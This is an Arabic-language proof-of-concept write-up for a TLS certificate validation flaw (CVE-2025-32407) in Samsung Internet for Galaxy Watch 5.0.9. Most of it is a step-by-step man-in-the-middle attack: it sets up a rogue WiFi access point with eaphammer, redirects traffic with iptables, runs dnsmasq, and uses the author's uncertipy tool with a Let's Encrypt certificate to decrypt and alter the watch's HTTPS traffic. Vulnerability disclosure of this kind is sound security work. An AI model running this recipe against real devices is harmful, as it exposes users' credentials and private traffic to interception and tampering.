
CVE-2025-32407 PoC
إثبات المفهوم لـ CVE-2025-32407: خطأ في تكوين التحقق من شهادة TLS لتطبيق ساعة سامسونج "Samsung Internet for Galaxy Watch" الإصدار 5.0.9.
تطبيق ساعة سامسونج "Samsung Internet for Galaxy Watch" الإصدار 5.0.9، المتاح حتى ساعة Samsung Galaxy Watch 3، لا يتحقق بشكل صحيح من شهادات TLS، مما يسمح للمهاجم بانتحال شخصية أي وجميع المواقع التي يزورها المستخدم. هذا خطأ تكوين حاسم في طريقة تحقق المتصفح من هوية الخادم. يلغي استخدام HTTPS كقناة آمنة، مما يسمح بهجمات الوسيط (Man-in-the-Middle)، وسرقة المعلومات الحساسة أو تعديل حركة المرور الواردة والصادرة.
في هذه الحالة بالذات، لا يتحقق المتصفح من أن نطاق الشهادة يطابق اسم نطاق الموقع الإلكتروني. هذا يعني أنه سيقبل أي شهادة TLS، صادرة لأي نطاق تعسفي، طالما أنها موقعة من هيئة شهادات موثوقة. بعد ذلك، يمكن للمهاجم الحصول على شهادة مجانية لنطاق يسيطر عليه، وبالتالي اعتراض كل اتصال TLS ينشأ من التطبيق.
تم اختبار ذلك باستخدام ساعة Samsung Galaxy Watch 3، وأحدث إصدار من "Samsung Internet for Galaxy Watch" (5.0.9). يرجى ملاحظة أن هذا الجهاز غير مدعوم حاليًا.

للمساعدة في الاستغلال، قمت بتطوير أداة تعترض ديناميكيًا اتصالات TLS وتولد شهادات TLS تحت سيطرتي، مما يسمح لي بفك تشفير ومعالجة البيانات الواردة والصادرة: https://github.com/diegovargasj/uncertipy. هناك حاجة إلى شهادة TLS صالحة، مع مفتاحها، موقعة من هيئة تصديق حقيقية. يمكن القيام بذلك بسهولة ومجانية باستخدام واجهة Let's Encrypt API ونطاق. سيتم تخزينها في /path/to/cert.pem و /path/to/key.pem على التوالي.
هناك عدة طرق لاعتراض اتصالات الساعة، مثل التلاعب باستجابات DNS أو توصيلها بنقطة وصول WiFi تم إنشاؤها لهذا الغرض. سنقوم بالطريقة الأخيرة، باستخدام كمبيوتر بواجهتي شبكة: wlan0 للوصول إلى الإنترنت، و wlan1 لنشر نقطة وصول WiFi.
سأستخدم eaphammer (https://github.com/s0lst1c3/eaphammer) لنشر نقطة وصول WiFi، ولكن يمكنك استخدام ما تريد.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
الآن، قم بتعيين عنوان IP للواجهة:
sudo ip addr add 10.0.0.1/24 dev wlan1
إعادة توجيه حركة المرور إلى المنفذ المحلي 9900:
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
وتفعيل DHCP و DNS:
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
أخيرًا، قم بتشغيل uncertipy لاعتراض حركة مرور TLS على المنفذ 9900. سيتم إعادة توجيه هذه الحركة إلى وكيل HTTP على المنفذ 8080، للتسجيل:
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
الآن نقوم بتوصيل الساعة بنقطة وصول WiFi، فتح التطبيق والتنقل إلى أي موقع HTTPS تعسفي.


ستقوم أداة uncertipy بالإشعار باعتراضات TLS.

سيبدأ وكيل HTTP في اعتراض الطلبات، والتي قد تحتوي على معلومات حساسة. بالإضافة إلى ذلك، يمكننا الاستفادة من ميزات الوكيل لتعديل الطلبات الواردة أو الصادرة.

يجب أن يعمل التطبيق بشكل طبيعي، مع عرض محتوى الموقع.
